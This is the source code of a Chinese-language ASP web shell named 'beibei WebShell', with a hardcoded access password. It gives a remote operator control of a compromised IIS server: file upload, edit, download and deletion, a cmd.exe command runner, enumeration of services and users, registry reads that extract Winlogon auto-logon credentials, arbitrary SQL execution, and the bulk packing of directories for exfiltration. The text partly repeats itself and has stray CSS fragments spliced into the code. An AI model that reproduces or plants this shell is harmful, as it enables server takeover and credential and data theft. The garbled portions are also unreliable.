<% Dim ObT(13,1) ObT(0,0) = "Scripting.FileSystemObject" ObT(0,1) = "文件操作组件" ObT(1,0) = "wscript.shell" ObT(1,1) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,1) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,1) = "ACCESS压缩组件" ObT(4,0) = "Scripting.Dictionary" ObT(4,1) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,1) = "数据库连接组件" ObT(6,0) = "Adodb.Stream" ObT(6,1) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,1) = "SA-FileUp 文件上传组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,1) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,1) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,1) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,1) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,1) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,1) = "数据传输组件" Function IsObj(obt) dim i,T on error resume next Set T=Server.CreateObject(obt) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing End Function sub ShowErr() If Err Then Response.Write"
 " & Err.Description & "" Err.Clear:Response.Flush End If end sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if dim fso,osm,ads,rs,conn Function MainMenu() RW="
" RW=RW & "
" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
地址栏:" RW=RW & "" RW=RW & "" RW=RW & "
 文件操作:" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[程序文件] [我的文档] " RW=RW & "[网站目录]
" RW=RW & " 切换功能:[新建目录] " RW=RW & "[新建文本] [文件上传] " RW=RW & "[CMD命令行] [搜索引擎] " RW=RW & "[系统服务] [注册表操作] " RW=RW & "[服务器信息]
 数据库功能:[数据库操作] " RW=RW & "[程序打包入库/出库] | [退出登录]" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Function DownFile(Path) Response.Clear On Error Resume Next Set osm = CreateObject(ObT(6,0)) osm.Open osm.Type = 1 osm.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length",osm.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite osm.Read Response.Flush osm.Close Set osm = Nothing Response.End End Function Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() dim D For Each D in fso.Drives RW=RW&"磁盘["&D.DriveLetter&":] " Next ShowDriver=RW End Function Function ShowFile(Path) dim F,L,Fold,i RW="" RW=RW & "
" RW=RW & "" RW=RW & "" Set FOLD=fso.GetFolder(Path) For Each F in FOLD.subfolders RW=RW & "" Next RW=RW & "
["&F.Name&"]" RW=RW & " |删除" RW=RW & " 复制" RW=RW & " 移动
" Response.Write RW : RW="" For Each L in Fold.files i=i+1 RW=" " RW=RW & "" RW=RW & "" RW=RW & "" Response.Write RW : RW="" Next if i>0 then Response.Write "" i=0 Response.Write "
" RW=RW & ""&L.Name&""&clng(L.size/1024)&"K" & year(L.DateLastModified) & "-" & right("0"&month(L.DateLastModified),2) & "-" & right("0"&day(L.DateLastModified),2) & " " & FormatDateTime(L.DateLastModified,4) RW=RW & "编辑 " RW=RW & "删除 " RW=RW & "复制 " RW=RW & "移动

反向选择 
" Set FOLD=Nothing End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



文件保存成功!
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
文本编辑器
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



文件 "&Path&" 删除成功!
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path," } Select { |") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



文件" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path," } .border { |") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



文件" & Path(0) & "移动成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



目录" & Path & "删除成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path," } .border2 { |") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



目录" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path," } .title_txt { |") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



目录" & Path(0) & "移动成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



目录" & Path & "新建成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Function UpFile() dim strFileName If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then RW="
请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then RW="



文件" & UName & "上传成功!
" End if End If Set F=nothing:Set U=nothing RW=RW & BackUrl Response.Write RW ShowErr() Response.End End If RW="
" RW=RW & "" RW=RW & "" RW=RW & "
上传文件
" RW=RW & "上传路径: " RW=RW & " " RW=RW & "" RW=RW & "
" Response.Write RW End Function Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Function CmdShell() dim checked,DefCmd,CM,DD,aaa,szTempFile,oFilelcx If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")="yes" then checked=" checked" else checked="" end if If Request("cmd")<>"" Then DefCmd = Request("cmd") RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
Cmd命令行
SHELL路径: " RW=RW & "WScript.Shell
 
" Response.Write RW : RW="" : aaa="" End Function Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
搜索引擎
 路  径: 注:多路径使用"",""号连接.
 关键字: 
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "费时:"&(timer()-st)*1000&"毫秒
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

关键字不能包含/\:|&
" Exit Function else Response.Write "


" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

共搜索到"&Counter&"个结果
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Function Course() dim sa,obj,objCourse,RW0,RW1,RW2 RW="
" RW=RW & "" On Error Resume Next Set sa=CreateObject("Shell.Application") Set objCourse=GetObject("WinNT://.") for each obj in objCourse Err.Clear if obj.StartType="" then RW=RW & "" RW=RW & "" RW0="" end if if obj.StartType=2 then lx="自动" if obj.StartType=3 then lx="手动" if obj.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and obj.StartType=2 then RW1=RW1 & "" else RW2=RW2 & "" end if next Set objCourse=Nothing Set sa=Nothing Response.Write RW & RW0 & RW1 & RW2 & "
系统用户与服务
 " RW=RW & obj.Name RW=RW & " " RW=RW & "系统用户(组)" RW=RW & "
 
 [启动类型:"&lx&"] "&obj.Name&"---"&obj.DisplayName&"
 [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&"
 [启动类型:"&lx&"] "&obj.Name&"---"&obj.DisplayName&"
 [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&"
" :RW="" :RW0="" :RW1="" :RW2="" End Function Function TRegedit() dim WSHShell,isReadstr dim autoLoginPath,autoLoginEnableKey,autoLoginUserKey,autoLoginPassKey dim autoLoginEnable,autoLoginUser,autoLoginPass RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" if Request("id")="AutoLogon" then set WSHShell=Server.CreateObject(ObT(1,0)) autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey="AutoAdminLogon" autoLoginUserKey="DefaultUserName" autoLoginPassKey="DefaultPassword" autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey) if autoLoginEnable=0 then RW=RW & "
注册表操作
 快速通道:[终端端口]" RW=RW & " [自动登录信息]" RW=RW & "
 项路径:
 值名称: 
 例如:读取终端端口
项路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
" RW=RW & "值名称:PortNumber

 系统自动登录功能未开启
" else autoLoginUser=WSHShell.RegRead(autoLoginPath & autoLoginUserKey) RW=RW & "
 自动登录的系统帐户:" & autoLoginUser & "
" On Error Resume Next autoLoginPass=WSHShell.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear RW=RW & " 自动登录的帐户密码:" & autoLoginPass & "" Response.Write RW:RW="" end if end if if (Request("TRPath")<>"") and (Request("TRName")<>"") then Set WSHShell=Server.CreateObject(ObT(1,0)) isReadstr=WSHShell.RegRead(Request("TRPath") & Request("TRName")) RW=RW & "
 该值是:" & isReadstr & "" Set WSHShell=Nothing else RW=RW & "" end if Response.Write RW:RW="" End Function Function ServerInfo() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" For i=0 To 13 RW=RW & "" Next Response.Write RW : RW="" End Function Function DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr") RW="
服务器组件信息
服务器名 "&ServerNM&"
服务器IP " & ServerIP & "
服务器时间 "&now&" 
服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
服务器操作系统 "&Request.ServerVariables("OS")&"
WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
"&ObT(i,0)&""&IsObj(ObT(i,0))&""&ObT(i,1)&"
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
数据库操作
 数据库连接串:
 SQL操作命令:
" Response.Write RW:RW="" If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr Set Rs=Conn.OpenSchema(20) RW=RW & "" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") RW=RW & "" End If Rs.MoveNext Loop Set Rs=Nothing RW=RW & "

[ del ]
" RW=RW & ""&TName&"
" Response.Write RW:RW="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then RW=RW & "
执行语句:"&SqlStr&"
" Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page RW=RW & "" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) RW=RW & "" Set Fld=nothing Next RW=RW & "" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" RW=RW & "" For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If RW=RW & "" Next RW=RW & "" Rs.MoveNext Loop Response.Write RW:RW="" SqlStr=HtmlEnCode(SqlStr) RW=RW & "
"&Fld.Name&"
x"&ColInfo&"
记录数:"&RC&" 页码:"&Page&"/"&PN If PN>1 Then RW=RW & "  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then RW=RW & i&" " Else RW=RW & ""&i&" " End If Next RW=RW & " 下一页 尾页" End If RW=RW & "
" Rs.Close:Set Rs=Nothing Response.Write RW:RW="" Else Conn.Execute(SqlStr) RW=RW & "SQL语句:"&SqlStr End If Response.Write RW:RW="" End If Conn.Close Set Conn=Nothing End If End Function Function ToMdb() Response.Expires=0 RW="
" RW=RW & "" RW=RW & "" RW=RW & "
打包入库/出库
入库 出库 路径: 
" Response.Write RW:RW="" if request.form("Files")<>"" and request.form("R1")="V1" then set fso=CreateObject(ObT(0,0)) set ads=Server.CreateObject(ObT(6,0)) response.write "
" db="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&server.mappath(Mid(request.form("Files"),InstrRev(request.form("Files"),"\")+1)) Set conn=Server.CreateObject(ObT(5,0)) Set Ca=Server.CreateObject(ObT(2,0)) Ca.Create db conn.open db conn.Execute"CREATE TABLE wz(id int IDENTITY(1,1) PRIMARY KEY CLUSTERED,folder VARCHAR,file VARCHAR,body image)" Set Ca=Nothing Set rs=Server.CreateObject("ADODB.RecordSet") rs.Open "select * from wz",conn,3,3 Call SF(Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")-1),Mid(request.form("Files"),InstrRev(request.form("Files"),"\")+1),InstrRev(Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")-1),"\")+1) rs.close conn.close Set conn=Nothing Set rs=Nothing Set fold=Nothing Set ads=Nothing Set fso=Nothing Response.Write "
" Response.Write("") end if if request.form("Files")<>"" and request.form("R1")="V2" then Response.Write "

" Set conn=Server.CreateObject(ObT(5,0)) Set rs=Server.CreateObject("ADODB.RecordSet") conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&request.form("Files") rs.Open "select * from wz",conn,3,3 Set ads=Server.CreateObject(ObT(6,0)) Set fso=Server.CreateObject(ObT(0,0)) do while not(rs.eof or rs.bof) folder=Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")) & rs("folder") file=folder & "\" & rs("file") path=folder if not fso.FolderExists(folder) then fso.CreateFolder(folder) if (not fso.FileExists(file)) and (rs("file")<>"") then ads.Open ads.Type=1 ads.write rs("body") ads.SaveToFile file,2 ads.close end if Response.Write "
 出库 > " & file & "
" Response.Flush rs.movenext loop Response.Write "
" Response.Write("") session("name")=session("name")+1 rs.close conn.close Set ads=Nothing Set conn=Nothing Set rs=Nothing Set fso=Nothing end if End Function Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write "
 入库 > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() %> } .title { <% dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "beibei WebShell" UserPass = "aiwobiezou" '设置密码. URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" If Request("Pass")=UserPass then Session("webadmin")=UserPass If Session("webadmin")<>UserPass Then If Request.Form("Pass")<>"" Then If Request.Form("Pass")=UserPass Then Session("webadmin")=UserPass Response.Redirect URL Else Response.Write"验证失败!" End If Else RW="


怀雨专用 雇佣军团二组" RW=RW & "
" RW=RW & "密码:" RW=RW & " 
" Response.Write RW RW="" End If Response.End End If%> <%=ApplicationName&" - "&ServerIP%> <% Dim ObT(13,1) ObT(0,0) = "Scripting.FileSystemObject" ObT(0,1) = "文件操作组件" ObT(1,0) = "wscript.shell" ObT(1,1) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,1) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,1) = "ACCESS压缩组件" ObT(4,0) = "Scripting.Dictionary" ObT(4,1) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,1) = "数据库连接组件" ObT(6,0) = "Adodb.Stream" ObT(6,1) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,1) = "SA-FileUp 文件上传组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,1) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,1) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,1) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,1) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,1) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,1) = "数据传输组件" Function IsObj(obt) dim i,T on error resume next Set T=Server.CreateObject(obt) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing End Function sub ShowErr() If Err Then Response.Write"
 " & Err.Description & "" Err.Clear:Response.Flush End If end sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if dim fso,osm,ads,rs,conn Function MainMenu() RW="" RW=RW & "" RW=RW & "
" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
地址栏:" RW=RW & "" RW=RW & "" RW=RW & "
 文件操作:" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[程序文件] [我的文档] " RW=RW & "[网站目录]
" RW=RW & " 切换功能:[新建目录] " RW=RW & "[新建文本] [文件上传] " RW=RW & "[CMD命令行] [搜索引擎] " RW=RW & "[系统服务] [注册表操作] " RW=RW & "[服务器信息]
 数据库功能:[数据库操作] " RW=RW & "[程序打包入库/出库] | [退出登录]" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Function DownFile(Path) Response.Clear On Error Resume Next Set osm = CreateObject(ObT(6,0)) osm.Open osm.Type = 1 osm.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length",osm.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite osm.Read Response.Flush osm.Close Set osm = Nothing Response.End End Function Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() dim D For Each D in fso.Drives RW=RW&"磁盘["&D.DriveLetter&":] " Next ShowDriver=RW End Function Function ShowFile(Path) dim F,L,Fold,i RW="" RW=RW & "
" RW=RW & "" RW=RW & "" Set FOLD=fso.GetFolder(Path) For Each F in FOLD.subfolders RW=RW & "" Next RW=RW & "
["&F.Name&"]" RW=RW & " |删除" RW=RW & " 复制" RW=RW & " 移动
" Response.Write RW : RW="" For Each L in Fold.files i=i+1 RW=" " RW=RW & "" RW=RW & "" RW=RW & "" Response.Write RW : RW="" Next if i>0 then Response.Write "" i=0 Response.Write "
" RW=RW & ""&L.Name&""&clng(L.size/1024)&"K" & year(L.DateLastModified) & "-" & right("0"&month(L.DateLastModified),2) & "-" & right("0"&day(L.DateLastModified),2) & " " & FormatDateTime(L.DateLastModified,4) RW=RW & "编辑 " RW=RW & "删除 " RW=RW & "复制 " RW=RW & "移动

反向选择 
" Set FOLD=Nothing End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



文件保存成功!
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
文本编辑器
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



文件 "&Path&" 删除成功!
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path," } .tdbg_left { |") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



文件" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path," } .title_left2 { |") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



文件" & Path(0) & "移动成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



目录" & Path & "删除成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path," } .tdbg_left2 { |") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



目录" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path," } .tdbg_leftall { |") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



目录" & Path(0) & "移动成功!
